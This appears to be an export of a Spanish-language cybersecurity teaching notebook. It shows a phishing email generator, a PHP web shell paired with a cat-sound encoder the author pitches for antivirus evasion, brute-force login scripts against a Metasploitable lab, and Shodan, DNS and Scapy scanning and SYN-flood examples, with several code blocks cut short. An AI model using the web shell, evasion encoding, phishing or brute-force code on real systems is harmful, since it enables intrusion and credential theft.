import random
fake = Faker()
dominios_sospechosos = [
"[Link]",
"[Link]",
"[Link]",
"[Link]"
]
def generar_correos_phishing(n=10):
correos = []
for _ in range(n):
nombre = [Link]()
remitente = [Link]()
dominio_fake = [Link](dominios_sospechosos)
asunto = [Link]([
"Actualiza tu contraseña ahora",
"Actividad sospechosa en tu cuenta",
"Tu cuenta será bloqueada",
"Verifica tu identidad"
])
enlace = f"[Link]
188
[Link]({
"nombre": nombre,
"from": remitente,
"asunto": asunto,
"link": enlace
})
return correos
correos = generar_correos_phishing(5)
for c in correos:
print(f"Para: {c['nombre']}")
print(f"From: {c['from']}")
print(f"Asunto: {c['asunto']}")
print(f"Link: {c['link']}\n")
189
Lo que quiero hacer juntos y que quede como referencia, es ver como funciona un Encode y Decode de
palabras, visto de forma profesional es básicamente inventar un cifrado súper simple, uno a uno, pero
disfrazado de lenguaje gatuno. No es para seguridad real, pero seria divertido verlo en acción en alguna web
shell evadiendo antivirus, este ejemplo, es más como un juego de ofuscación simpático para aprender
técnicas desde ejemplos divertidos, tú le mandas un código y vuelve convertido en puros miau miau. Ahora,
si conoces el diccionario, puedes recuperar el código tal cual. Es como una base64 hecha por un gato.
Esta parte es clave, tú defines, letra por letra, qué sonido de gato reemplaza a cada carácter. Es como un
diccionario, pero gatuno.
In [108]:
import re
190
'h': 'miaum$',
'i': 'miaub$',
'j': 'miaur$',
'k': 'miaue$',
'l': 'miauc$',
'm': 'miaun$',
'n': 'miaus$',
'o': 'miaul$',
'p': 'niauwwwww$',
'q': 'miauNiau$',
'r': 'miauMiauMiau$',
's': 'miauMiauMiauMiau$',
't': 'miauMiauMiauMiauMiau$',
'u': 'miauMiauMiauMiauMiauMiau$',
'v': 'miauMiauMiauMiauMiauMiauMiau$',
'w': 'miauMiauMiauMiauMiauMiauMiauMiau$',
'x': 'miauMiauMiauMiauMiauMiauMiauMiauMiau$',
'y': 'miauMiauMiauMiauMiauMiauMiauMiauMiauMiau$',
'z': 'miauMiauMiauMiauMiauMiauMiauMiauMiauMiauMiau$',
' ': 'Miauxxhhhh',
'$': 'Miauxxgg',
'<': 'grrrrrssm',
'>': 'niania',
'_': 'brrraaa',
'(': 'nnniaaa',
')': 'waaaaawaaah',
'[': 'nnniaaaw',
']': 'waaaaawaaahw',
'{': 'nnniaaahh',
'}': 'waaaaa',
'"': 'niiaahh',
'?': 'rauuuuuuuul',
';': 'prrrrrrrrrrrrrrrrrr',
':': 'prrrrrrrrrrrrrrrrrraa',
'.': 'prrrrrrrrrrrrrrrrrraaww',
'\n': '\n',
'=': 'niaaaaauuwwwwwwwwwww',
"'": 'mauhhhhhh'
}
La función basesesentaygatosEncode lo que hace es súper simple, toma cada letra del texto y busca su
sonido en la tabla, si lo encuentra, lo agrega a una lista. Es decir, tomas el string con sonidos y lo separas
por espacios, Luego buscas qué letra corresponde a cada sonido.
In [109]:
def basesesentaygatosEncode(codigo_php):
sonidos_gatos_transformados = []
191
sonidos_gatos_transformados.append(letras_espacios_a_sonidos[letra_espacio])
Esta es la parte para que la cosa no quede solo como un meme, haces la inversa a la función anterior, tomas
el string con sonidos y lo separas por espacios, luego buscas qué letra corresponde a cada sonido, es como
un base64 casero pero con gatos en vez de bytes.
In [110]:
def basesesentaygatosDecode(sonidos_gatos_transformados):
sonidos_revertidos = sonidos_gatos_transformados.split()
codigo_php_revertido = ''
return codigo_php_revertido
Ahora para probar la función. le pasamos un código PHP que tiene una webshell típica
(system($_GET['cmd'])) y lo convertimos a puro miau-miau.
In [111]:
codigo_php = """
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
"""
In [112]:
# imprimir código PHP encode cat
print("[>]Code to CAT :")
transformados = basesesentaygatosEncode(codigo_php)
print(transformados)
[>]Code to CAT :
192
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh miaub$ miauh$ nnniaaa miaub$
miauMiauMiauMiau$ miauMiauMiauMiau$ miaup$ miauMiauMiauMiauMiau$ nnniaaa Miauxxgg
brrraaa Miauo Miaup MiauMiauMiauMiauMiau nnniaaaw mauhhhhhh miaaaa$ miaun$ miauMiau$
mauhhhhhh waaaaawaaahw waaaaawaaah waaaaawaaah
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh nnniaaahh
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh
Miauxxhhhh miauMiauMiauMiau$ miauMiauMiauMiauMiauMiauMiauMiauMiauMiau$
miauMiauMiauMiau$ miauMiauMiauMiauMiau$ miaup$ miaun$ nnniaaa Miauxxgg brrraaa Miauo
Miaup MiauMiauMiauMiauMiau nnniaaaw mauhhhhhh miaaaa$ miaun$ miauMiau$ mauhhhhhh
waaaaawaaahw waaaaawaaah prrrrrrrrrrrrrrrrrr
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh waaaaa
rauuuuuuuul niania
In [113]:
# imprimir código PHP revertido a humano
revertido = basesesentaygatosDecode(transformados)
print("\n[<]Code to Human :\n")
print(revertido)
[<]Code to Human :
La gracia de este ejercicio, es que el ida y vuelta funciona perfecto, lo decodificas y te queda exactamente el
mismo PHP.
Para que este encode funcione en un servidor Apache con PHP se podría usar de esta manera que mostraré
a continuación, obviamente faltan unas cosas, pero quien ya ha realzado ofuscacionees en productivo,
entenderá la siguiente línea de codigo de cómo se aplica en casos reales:
Ejemplo:
Metasploitable 2
Voy a usar Metasploitable 2 porque es una máquina hecha especialmente para practicar ataques de forma
segura. Es un entorno controlado, aislado y sin conexión a Internet, así que no afecta a nadie y no estoy
incentivando ataques reales.
193
La idea es mostrar cómo funcionan cosas como la fuerza bruta en SSH o FTP, pero solo dentro de esta
máquina vulnerable que fue creada para aprender.
Metasploitable trae servicios débiles a propósito, con contraseñas malas, puertos abiertos y configuraciones
antiguas. Eso me permite explicar de forma práctica cómo un atacante prueba muchas contraseñas, cómo se
ve en los logs, y qué controles deberíamos tener en producción para evitarlo.
194
Credenciales por defecto - Metasploitable 2
El script lo único que hace es repetir ese proceso con distintas combinaciones hasta que una funcione. Nada
más que eso. Aquí el objetivo es que veas lo simple que es romper un servicio cuando tiene contraseñas
débiles, como pasa en Metasploitable.
In [5]:
from ftplib import FTP
import sys
# FTP server
ftp_host = "[Link]" # IP de Metasploitable
195
ftp_user =
["msfadmin","user","service","postgres","mysql","tomcat","admin","guest","ftp","vagrant
","msf","backdoor"]
ftp_passwd =
["backdoor","user","service","postgres","msfadmin","mysql","tomcat","admin","guest","ft
p","vagrant","msf"]
found = False
for user in ftp_user:
for pwd in ftp_passwd:
try:
with FTP(ftp_host) as ftp: # conectar a FTP server
[Link](user=user, passwd=pwd)
print(f" [ X] Login exitoso a {ftp_host} con {user} & password {pwd}")
found = True
break # si encuentra una entrada, se sale del primer bucle
except Exception as e:
print(f"> Error :Ocurrió un error: {e}")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontro ninguna combinación valida.")
In [6]:
from ftplib import FTP
[Link]()
Out[6]:
'221 Goodbye.'
196
Fuerza Bruta SSH
SSH es más seguro que FTP, pero para el ejercicio la mecánica es la misma, probar usuario y clave hasta
que alguna calce. La gracia acá es que veas cómo responde el sistema cuando la clave está mala
(“permission denied”) y qué pasa cuando está buena (te entrega el prompt).
La idea del ejercicio no es enseñarte a atacar, sino que entiendas por qué contraseñas malas son un regalo
para cualquier atacante, incluso en servicios modernos como SSH.
In [7]:
!pip install paramiko
In [8]:
import paramiko
# SSH server
hostname = "[Link]" # IP de Metasploitable
ssh_user =
["msfadmin","user","service","postgres","mysql","tomcat","admin","guest","ftp","vagrant
","msf","backdoor"]
ssh_passwd =
["backdoor","user","service","postgres","msfadmin","mysql","tomcat","admin","guest","ft
p","vagrant","msf"]
ssh = [Link]()
ssh.set_missing_host_key_policy([Link]())
197
stdin, stdout, stderr = ssh.exec_command("ls -l") # se lanza un comando
para listar directorio
print(" > Command output: ")
for line in stdout:
print([Link]())
found = True
break # si encuentra una entrada, se sale del primer bucle
except [Link]:
print(" > Error de autenticación..")
except [Link] as e:
print(f"No se pudo lograr conexión: {e}")
except Exception as e:
print(f"Error: : {e}")
finally:
[Link]()
print(" > Se cerró la conexión a SSH. \n")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontró ninguna combinación válida.")
Aquí quiero que entiendas que una base de datos expuesta con claves débiles es tan vulnerable como un
FTP, aunque por dentro use cosas más complejas.
In [9]:
198
!pip install mysql-connector-python
In [84]:
import [Link]
hostname = "[Link]" # IP de Metasploitable
_user =
["root","user","msfadmin","mysql","service","postgres","tomcat","admin","guest","ftp","
vagrant","msf","backdoor"]
_passwd =
["mysql","msfadmin","","backdoor","user","service","postgres","tomcat","admin","guest",
"ftp","vagrant","msf"]
found = False
for usr in _user:
for pwd in _passwd:
try:
connection = [Link](host=hostname,user=usr,
password=pwd,ssl_disabled=True ) # se hace el login y password
if connection.is_connected():
print(f" [ > ] Login exitoso a {hostname} con {usr} : {pwd}")
found = True
break # si encuentra una entrada, se sale del primer bucle
except [Link] as error:
print(f" [ X ] Error a {hostname} con {usr} : {pwd}")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontro ninguna combinación valida.")
199
[ X ] Error a [Link] con user : tomcat
[ X ] Error a [Link] con user : admin
[ X ] Error a [Link] con user : guest
[ X ] Error a [Link] con user : ftp
[ X ] Error a [Link] con user : vagrant
[ X ] Error a [Link] con user : msf
[ X ] Error a [Link] con msfadmin : mysql
[ X ] Error a [Link] con msfadmin : msfadmin
[ X ] Error a [Link] con msfadmin :
[ X ] Error a [Link] con msfadmin : backdoor
[ X ] Error a [Link] con msfadmin : user
[ X ] Error a [Link] con msfadmin : service
[ X ] Error a [Link] con msfadmin : postgres
[ X ] Error a [Link] con msfadmin : tomcat
[ X ] Error a [Link] con msfadmin : admin
[ X ] Error a [Link] con msfadmin : guest
[ X ] Error a [Link] con msfadmin : ftp
[ X ] Error a [Link] con msfadmin : vagrant
[ X ] Error a [Link] con msfadmin : msf
[ X ] Error a [Link] con mysql : mysql
[ X ] Error a [Link] con mysql : msfadmin
[ X ] Error a [Link] con mysql :
[ X ] Error a [Link] con mysql : backdoor
[ X ] Error a [Link] con mysql : user
[ X ] Error a [Link] con mysql : service
[ X ] Error a [Link] con mysql : postgres
[ X ] Error a [Link] con mysql : tomcat
[ X ] Error a [Link] con mysql : admin
[ X ] Error a [Link] con mysql : guest
[ X ] Error a [Link] con mysql : ftp
[ X ] Error a [Link] con mysql : vagrant
[ X ] Error a [Link] con mysql : msf
[ X ] Error a [Link] con service : mysql
[ X ] Error a [Link] con service : msfadmin
[ X ] Error a [Link] con service :
[ X ] Error a [Link] con service : backdoor
.
.
.
.
[-] No se encontró ninguna combinación válida.
En el ejercicio lo que hacemos es que el script espere esos textos y vaya probando usuarios y contraseñas
uno por uno. Cuando ve el símbolo de $, significa que ya entró. Es para que entiendas cómo alguien
automatiza algo que, manualmente, es súper simple.
200
Para que esto funcione debes primero entrar a tu windows, luego, se debe abrir cmd y poner este comando
para activar telnet : pkgmgr /iu:"TelnetClient"
In [65]:
!pip install wexpect
In [66]:
import wexpect
# login:
[Link]("login: ") # se ingresa el usuario
[Link](usr)
# password:
[Link]("Password: ") ## se ingresa el password
[Link](pwd)
if idx == 0:
# 'Login incorrect'
[Link]()
continue # probamos siguiente password
201
# idx == 1 -> vimos el prompt $, asumimos q login esta OK
[Link]("whoami") #metemos un comando
[Link]("\$")
salida = [Link]
# wexpect a veces da str, otras bytes
if isinstance(salida, bytes):
salida = [Link](errors="ignore")
print("Salida whoami:")
print(salida)
except Exception as e:
print(f" [!] Error con {usr}:{repr(pwd)} ")
if session is not None:
try:
[Link]()
except Exception:
pass
# Si termino todos los for sin encontrar nada entonces None, None
return None, None
In [67]:
host = "[Link]" # IP de Metasploitable
users = ["msfadmin","mysql","service","postgres","tomcat","admin","guest","ftp",
"vagrant", "msf", "backdoor" , "user"]
passwords =
["mysql","backdoor","user","msfadmin","service","postgres","tomcat","admin","guest","ft
p","vagrant", "msf"]
202
whoami msfadmin
msfadmin@metasploitable:~
La idea es que veas que, aunque sean bases de datos distintas, la forma en que se valida el acceso es
parecida, y un atacante puede automatizar eso igual que con cualquier otro servicio.
In [86]:
!pip install psycopg2-binary
In [85]:
import psycopg2
203
[ X ] Login exitoso a [Link] con postgres : postgres
Shodan
Shodan es como un buscador de dispositivos conectados a Internet, pero no busca páginas web como
Google: busca servicios, puertos abiertos, cámaras, routers, servidores, bases de datos expuestas, etc.
In [517]:
!pip install --use-pep517 shodan # librería de shodan
In [521]:
import shodan
API_KEY = "TU_API_KEY"
api = [Link](API_KEY)
try:
204
info = [Link](ip)
print("IP:", info["ip_str"])
print("País:", [Link]("country_name"))
print("ISP:", [Link]("isp"))
print("Organización:", [Link]("org"))
print("Puertos abiertos:", [Link]("ports"))
print("\nDatos por puerto:")
except Exception as e:
print("Error:", e)
IP: [Link]
País: United States
ISP: Google LLC
Organización: Google LLC
Puertos abiertos: [443, 53]
In [523]:
import shodan, requests
205
print("[-] Puertos abiertos:", [Link]("ports"))
except [Link] as s:
print("[x] Tu IP no aparece en Shodan (buena señal).")
except Exception as e:
print("Otro error:", e)
In [89]:
# instalar libreria
!pip install dnspython
Collecting dnspython
Downloading [Link] (5.7 kB)
Downloading [Link] (331 kB)
Installing collected packages: dnspython
Successfully installed dnspython-2.8.0
In [90]:
import [Link]
import networkx as nx
import [Link] as plt
dominio = "[Link]"
G = [Link]()
# Nodo principal
G.add_node(dominio)
206
DNS
Los DNS son súper simples de entender. Es como cuando en el celular guardas a alguien por su nombre, no
por el número. Tú pones por ejemplo Juan y el teléfono sabe que en verdad es +56 9 XXXXXXX. Bueno,
Internet hace exactamente lo mismo.
Cuando tú escribes [Link], tu computador no tiene idea de qué IP es. Entonces le pregunta al servidor
DNS, oye, ¿a qué número corresponde este nombre? y el DNS responde con la IP. Eso es todo. Nada
místico.
Lo entretenido, es que a través de DNS puedes entender hartas cosas, por ejemplo, si un sitio cambió de
infraestructura, si un dominio apunta a algo raro, si un correo está mal configurado, o incluso si un dominio se
está moviendo más de la cuenta como para sospechar algo. Por eso DNS es útil en ciberseguridad, te
muestra la ruta real de las cosas, no lo que uno cree que está pasando.
Este ejercicio es súper simple, tomas un dominio, lo resuelves y después lo dibujas como si fuera un mini
mapa mental. El dominio en el centro y las IPs como nodos alrededor. Esto sirve para entender si un dominio
apunta a una pura IP o a varias y además, entender visualmente su infraestructura.
207
In [91]:
import [Link]
import networkx as nx
import [Link] as plt
dominio = "[Link]"
subdominios = ["www", "api", "vpn", "mail", "dev", "test"]
G = [Link]()
G.add_node(dominio)
In [92]:
import [Link]
import re
208
import networkx as nx
import [Link] as plt
logs = [
"Client [Link] queried [Link]",
"Client [Link] queried [Link]",
"Client [Link] queried [Link]",
]
G = [Link]()
209
MX: dominio y servidores de correo
Este ejercicio te muestra cómo un dominio depende de ciertos servidores de correo. Es bacán porque
puedes ver si una empresa depende de Google, Microsoft, o servidores propios. Sirve para seguridad porque
te permite ver si alguien configuró mal los MX o los cambió de un día para otro.
In [93]:
import [Link]
import networkx as nx
import [Link] as plt
dominio = "[Link]"
mx = [Link](dominio, "MX")
G = [Link]()
G.add_node(dominio)
for r in mx:
servidor = str([Link]).rstrip(".")
G.add_node(servidor)
G.add_edge(dominio, servidor)
210
In [96]:
import [Link]
import requests
import networkx as nx
import [Link] as plt
dominio = "[Link]"
G = [Link]()
G.add_node(dominio)
for ip in ips:
G.add_node(ip)
G.add_edge(dominio, ip)
try:
info = [Link](f"[Link]
pais = [Link]("country_name", "Desconocido")
except:
pais = "Desconocido"
G.add_node(pais)
G.add_edge(ip, pais)
211
Graficar la ruta DNS completa CON dominio , NS , IPs:
Este ejercicio es para entender la “ruta” que sigue un dominio, a veces un problema de seguridad viene
porque los NS están mal configurados, o porque un dominio termina apuntando a servidores que nadie
recuerda.
In [97]:
import [Link]
import networkx as nx
import [Link] as plt
dominio = "[Link]"
G = [Link]()
G.add_node(dominio)
# Conectar dominio → NS
for ns in ns_list:
G.add_node(ns)
G.add_edge(dominio, ns)
# 2. Resolver IP del NS
try:
ip_records = [Link](ns, "A")
ips = [r.to_text() for r in ip_records]
except:
ips = []
# Conectar NS → IPs
for ip in ips:
G.add_node(ip)
G.add_edge(ns, ip)
# Graficar
[Link](G, with_labels=True, node_size=1500, node_color="plum", font_size=9)
[Link]()
212
La idea es ver si los NS están distribuidos, si apuntan a IPs raras, o si están todos en el mismo proveedor (lo
cual a veces es una mala práctica).
Ojo: En este ejemplo uso una API pública simple sin key ([Link]), pero puedes reemplazarlo por
VirusTotal si quieres.
In [98]:
import [Link]
import requests
import networkx as nx
import [Link] as plt
dominio = "[Link]"
G = [Link]()
G.add_node(dominio)
213
# Resolver IPs del dominio
try:
respuestas = [Link](dominio, "A")
ips = [r.to_text() for r in respuestas]
except:
ips = []
# Por cada IP, consultar reputación muy básica (si está en un hosting raro)
for ip in ips:
G.add_node(ip)
G.add_edge(dominio, ip)
try:
data = [Link](f"[Link]
isp = [Link]("isp", "Desconocido")
G.add_node(riesgo)
G.add_edge(ip, riesgo)
# Dibujar
[Link](G, with_labels=True, node_size=1800, node_color="lightcoral", font_size=9)
[Link]()
Ojo: este ejemplo no es para detectar malware de verdad, pero sí para mostrar de forma gráfica cómo una IP
puede estar en una red legítima o en algo sospechoso... Es una manera visual de entender riesgo sin
explicar 20 minutos de teoría.
214
Traceroute
Traceroute es básicamente, seguir el camino que toma un paquete desde tu máquina hasta el destino, es
como cuando mandai un paquete por Chilexpress y quieres ver por dónde pasó, solo que aquí, no hay
bodegas ni sucursales, sino routers en el camino.
Lo que hace traceroute es un.... ya, voy a mandar un paquetito con un tiempo de vida muy corto, si muere
rápido, le pregunto al router que lo mató quién es y así, hop por hop, vas viendo todos los routers que hay
entre medio. Para ciberseguridad sirve mucho, porque te muestra si tu tráfico está pasando por lugares que
no deberían, o si de pronto, un proveedor mete un salto raro por otro país. También sirve para entender
cortes, latencias, problemas de red, o rutas sospechosas que aparecen en tráfico malicioso.
Aquí lo simple para este ejemplo, hacemos traceroute a un destino y dibujamos los saltos como un caminito.
Esto nos va a servir, para ver visualmente cuántos routers hay entre medio y si de pronto aparece algo
extraño en la mitad.
In [99]:
import subprocess
import networkx as nx
import [Link] as plt
destino = "[Link]"
G = [Link]()
saltos = []
# Crear grafo
for i in range(len(saltos) - 1):
G.add_node(saltos[i])
G.add_node(saltos[i+1])
G.add_edge(saltos[i], saltos[i+1])
215
Detectar saltos por país simplemente por IP.
In [148]:
import subprocess
import requests
import networkx as nx
import [Link] as plt
destino = "[Link]"
G = [Link]()
saltos = []
for ip in saltos:
try:
info = [Link](f"[Link]
pais = [Link]("country_name", "Desconocido")
except:
216
pais = "Desconocido"
G.add_node(f"{ip}\n({pais})")
# Conectar hops
nodos = list([Link])
for i in range(len(nodos) - 1):
G.add_edge(nodos[i], nodos[i+1])
In [101]:
import subprocess
import requests
import networkx as nx
import [Link] as plt
217
destino = "[Link]"
resultado = subprocess.check_output(["tracert", destino], text=True)
G = [Link]()
saltos = []
paises_raros = ["Russia", "China", "Iran"]
colores = []
for ip in saltos:
try:
info = [Link](f"[Link]
pais = [Link]("country_name", "Desconocido")
except:
pais = "Desconocido"
G.add_node(f"{ip}\n{pais}")
if pais in paises_raros:
[Link]("red")
else:
[Link]("lightblue")
# Conectar
nodos = list([Link])
for i in range(len(nodos) - 1):
G.add_edge(nodos[i], nodos[i+1])
218
El Internet y la Socketería
El Internet, si lo sacamos del humo técnico, es básicamente un conjunto de computadores hablando entre sí,
eso es todo.... No es magia negra, no es Matrix, no es nada raro, son máquinas diciéndose:
Pero claro, los computadores no pueden decir ¿hola, ¿cómo estás?... entonces usan puertos, sockets y
protocolos para poder comunicarse sin pelearse ni quedar desordenados.
Para mí entender Internet, es más simple si lo imaginas como una ciudad. Cada IP es un edificio, así tal cual,
una dirección donde vive un servidor o un computador. Y dentro de ese edificio hay departamentos, que son
los puertos. Entonces cuando un computador quiere hablar con otro, no basta con saber el edificio, también
tienes que saber el departamento al que vas a tocarle la puerta. Ese es el esquema básico que se repite
siempre.
La gracia es que las puertas no siempre están abiertas... Algunas están cerradas, otras tienen reja, otras
tienen guardias y otras ni suenan, porque el firewall las tapa. Ahí aparece esta palabra rara, “socketería”, que
al final no es más que una puerta abierta en un departamento esperando que alguien toque. Un socket
escuchando significa que hay un servicio adentro atendiendo. Si nadie está escuchando, da lo mismo
cuántas veces golpees, no va a pasar nada.
Cuando tu computador quiere mandar algo, abre su propia puerta local, algo como el 55123 o cualquier
puerto dinámico que use. Después sale a la calle y antes de hacer cualquier cosa, le pregunta al DNS dónde
queda el edificio al que quiere llegar. DNS es como preguntarle al Waze del barrio... “oye, ¿dónde está tal
edificio?”. Cuando le responden, tu paquete empieza a avanzar por routers que son como carteros pasando
la carta de mano en mano. Ninguno piensa mucho, solo miran la dirección y dicen... ya, esto va por allá....
Eso es literalmente lo que hace traceroute, te muestra por qué calles pasó tu carta antes de llegar.
Cuando finalmente llega al edificio, recién ahí se intenta subir al departamento. Y ahí viene lo entretenido... si
la puerta está abierta (o sea, el puerto tiene un servicio escuchando), te responde con un saludo y se arma la
conversación. Si está cerrada, te contesta rápido con un “no, gracias” (el famoso RST). Si está filtrada por
firewall, ni siquiera te responde, como cuando tocas un timbre y nadie sabe si están o no están.
Todo lo que viene después en ciberseguridad se apoya en esta idea súper simple. Escanear puertos es
literalmente ir golpeando puertas para ver cuáles responden. Nmap se dedica a interpretar cómo responde
cada puerta. Scapy es como construir tu propia carta a mano, escrita al estilo que quieras, para ver cómo
reacciona el edificio. Metasploitable es un conjunto de puertas viejas y mal cerradas donde tú puedes
219
practicar sin hacerle daño a nadie. Los brute force no son más que probar llaves en la misma cerradura. Y un
firewall puede bloquear la calle entera, el edificio, el departamento o simplemente tirar tu carta a la basura sin
avisarte.
Cuando entiendes esto, entiendes la red. Y cuando entiendes la red, te hace mucho más fácil todo lo demás
que viene después, porque ya no ves paquetes ni protocolos como cosas abstractas, sino como gente
moviéndose dentro de una ciudad digital.
Sockets
Los sockets son una de esas cosas que la gente complica de más, cuando en verdad son ridículamente
simples si los miras con la metáfora correcta. Ya tienes la idea de que las IP son los edificios y los puertos
son los departamentos, ¿cierto? Bueno, el socket es básicamente cuando alguien adentro del departamento
abre la puerta y dice... ya, aquí estoy, si alguien toca el timbre yo atiendo..... Eso es todo. No tiene nada
místico.
Imagínate esto, tú puedes vivir en el departamento 22 (SSH), pero si no abres la puerta, nadie puede hablar
contigo. Sigues existiendo, sigue estando el departamento ahí, pero está cerrado. Los sockets son cuando el
servicio dice explícitamente “estoy escuchando”. O sea, la puerta está abierta, hay luz prendida y hay alguien
esperando que toquen.
Y lo más interesante es que un socket no es solo una puerta abierta, sino que es una conversación que se
abre entre dos departamentos. No es solo el servidor el que tiene que abrir su puerta.... tu computador,
cuando quiere hablar, también abre una puerta temporal ...un puerto local... que sería como un departamento
improvisado del que tú sales para ir a tocar al otro edificio. Entonces la conversación es entre dos
departamentos... uno del lado cliente, uno del lado servidor. Eso es el socket, esa conexión viva entre ambas
puertas mientras hablan.
Cuando se establece la conexión, quedan como dos personas apoyadas en sus respectivos marcos de
puerta, conversando de lado a lado. Cuando se cierra, es como que ambos dicen... ya, bacán, hablamos... y
cierran la puerta. No es más complicado que eso. Todo lo que ocurre en el medio del Internet.... los routers,
DNS, firewall, etc... solo se encargan de que tu mensaje llegue al edificio correcto. Pero la conversación real
ocurre puerta con puerta. Socket con socket.
Por eso en seguridad se habla tanto de sockets abiertos, sockets escuchando, sockets colgados, sockets
zombis… todo es la misma idea, puertas que quedaron abiertas, sin cerrar bien, o que no deberían haber
estado abiertas en primer lugar. Cuando escaneas un puerto, en realidad estás buscando sockets... estás
golpeando departamentos para ver quién te abre. Cuando haces un ataque controlado, pruebas si un servicio
220
que no debería estar escuchando… está escuchando igual. Y cuando programas algo en Python, un socket
es la forma más básica de decir... quiero conversar con alguien por la red.
La gracia de entender esto, es que te deja de dar miedo la palabra “socket”. Porque al final es eso dos
puertas abiertas que se conectan y conversan mientras dure la comunicación. Cuando lo ves así, todo se
ordena, todo te hace sentido y entender Scapy, Nmap, Netcat o incluso Wireshark se vuelve mucho más
natural. No son herramientas mágicas, solo miran cómo se abren, conversan y cierran estas puertas
digitales.
Scapy
Piensa Scapy así, es como si te dieran poderes de cartero digital y no solo puedes mandar cartas por la red,
sino que puedes armar tú mismo el sobre, escribir lo que quieras dentro, elegir la ruta, e incluso ver cómo te
responde el edificio, nada complejo, tú controlas el paquete.
Ahora, déjame mezclar la idea anterior de los edificios (IP), los departamentos (puertos), las puertas
(sockets) con ejercicios concretos en Scapy. La gracia, es que cada ejercicio, te ayuda a mirar la red como
algo vivo, no como algo abstracto y técnico.
Primero, el clásico, ver si un edificio está vivo. Es como preguntarle al conserje ¿hay alguien ahí?. En Scapy
eso se hace con ICMP, el famoso ping, pero a tu gusto.
In [143]:
!pip install scapy
Collecting scapy
Downloading [Link] (5.6 kB)
Downloading [Link] (2.4 MB)
---------------------------------------- 0.0/2.4 MB ? eta -:--:--
---------------------------------------- 2.4/2.4 MB 25.8 MB/s eta 0:00:00
Installing collected packages: scapy
Successfully installed scapy-2.6.1
In [149]:
from [Link] import *
if respuesta:
print(f"[ -> ] El edificio {destino} responde [OK] .")
else:
221
print("[X] No respondio nadie. Puede haber firewall, caída, o simplemente
silencio.")
Lo que estás haciendo acá es bien simple... preparas una carta que dice ping, la mandas al edificio y esperas
a ver si vuelve algo(True). No estás tocando ningún departamento todavía, solo viendo si el edificio como tal
existe y contesta.
Ahora que sabes que el edificio existe, pasas al siguiente paso lógico... empezar a tocar puertas, ese es el
mundo del escaneo de puertos. Y aquí Scapy te deja hacer eso con absoluto control. Por ejemplo, el famoso
SYN scan, que es como tocar el timbre y arrancarse antes de entrar. No completas la conversación, solo ves
si te abren.
In [150]:
from [Link] import *
for p in puertos:
syn = IP(dst=ip)/TCP(dport=p, flags="S") # S de SYN
resp = sr1(syn, timeout=0.5, verbose=0)
if resp is None:
print(f"[-] Puerto {p}: silencio total, puede haber firewall o nada
escuchando.")
elif [Link](TCP):
if resp[TCP].flags == "SA":
print(f"[-] Puerto {p}: abierto")
elif resp[TCP].flags == "RA":
print(f"[x] Puerto {p}: cerrado")
else:
print(f"[-] Puerto {p}: respuesta rara, flags = {resp[TCP].flags}")
else:
print(f"[-] Puerto {p}: responde algo que no es TCP, medio extraño.")
Acá ya se mezcla bonito con la metáfora, en el mismo edificio, hay varios departamentos, y tú vas puerta por
puerta viendo quién te contesta y cómo. Esa respuesta es la que después un analista mira y dice ok, este
servicio está expuesto, este no, aquí hay firewall, acá no.
222
Otro punto clave para la ciberseguridad es aprender a escuchar la calle. No solo mandar cartas, sino
quedarte parado un rato mirando el tránsito de gente. Eso es hacer sniffing. Scapy ahí también se luce,
porque puedes decir muéstrame quién le habla a quién, casi como ver un chisme en vivo de la red.
In [151]:
from [Link] import *
def mostrar(pkt):
if [Link](IP):
print(f"{pkt[IP].src} → {pkt[IP].dst}")
Out[151]:
<Sniffed: TCP:6 UDP:4 ICMP:0 Other:0>
Este ejercicio es lindo porque dejan súper claro que la red no es una cosa estática... son constantes
conversaciones entre edificios, a veces internas, a veces hacia afuera t tú, desde tu máquina, te conviertes
en observador de la red.
Hay otro ejercicio que me gusta porque muestra algo muy típico en laboratorios, el cómo se ve cuando
alguien camina de edificio en edificio preguntando por la ruta. Eso es traceroute, pero hecho a mano. Acá no
estás mirando puertos, sino el camino que recorre tu paquete antes de llegar a destino. Es perfecto para
entender que Internet no es un túnel directo, sino una cadena de saltos.
In [152]:
from [Link] import *
destino = "[Link]"
if resp is None:
print(f"[x] {ttl} * (sin respuesta)")
else:
print(f"{ttl} {resp[IP].src}")
if resp[IP].src == destino:
print("[-] Llegamos al edificio final.")
break
223
1 [Link]
2 [Link]
3 [Link]
4 [Link]
5 [Link]
6 [Link]
7 [Link]
8 [Link]
9 [Link]
10 [Link]
[-] Llegamos al edificio final.
Ver esto corrido es casi terapéutico, ves cada barrio por el que pasa tu carta antes de llegar al edificio final. Y
en el contexto de ciberseguridad, también te sirve para entender dónde podría estar metido un firewall, o en
qué salto se empieza a cortar todo.
Y si ya quieres empezar a mezclar más la historia con tu lado ofensivo/defensivo, puedes usar Scapy para
generar tráfico que parezca sospechoso, pero dentro de un entorno controlado como Metasploitable. Por
ejemplo, mandar muchos SYN a un puerto específico para ver cómo reaccionan tus defensas o tus
dashboards, pero siempre en tu lab, sin molestar a nadie.
In [161]:
from [Link] import *
import time
for i in range(5):
syn = IP(dst=ip)/TCP(dport=puerto, flags="S")
send(syn, verbose=2)
print(f"SYN #{i+1} enviado al puerto {puerto}")
[Link](0.2)
Sent 1 packets.
SYN #1 enviado al puerto 22
Sent 1 packets.
SYN #2 enviado al puerto 22
Sent 1 packets.
SYN #3 enviado al puerto 22
Sent 1 packets.
SYN #4 enviado al puerto 22
Sent 1 packets.
SYN #5 enviado al puerto 22
224
Esto no es para hacer daño, es para ver cómo ves tú mismo este tráfico en tu SIEM, en tus logs o en tus
herramientas. Es como jugar a ser el atacante y el defensor al mismo tiempo, pero con un entorno de
mentira, donde puedes equivocarte tranquilo.
Este es el escaneo más humano, tú vas, tocas la puerta, y esperas que te abran, es como hacer la fila
normal en una oficina, sin saltarse la fila.
Así funciona:
Eso es literalmente hacer una conexión completa, igual que un navegador cuando vas a un sitio web.
In [160]:
from [Link] import *
ip = "[Link]"
puerto = 22
225
else:
print("[ - ] Close Port .")
● Tú envías SYN.
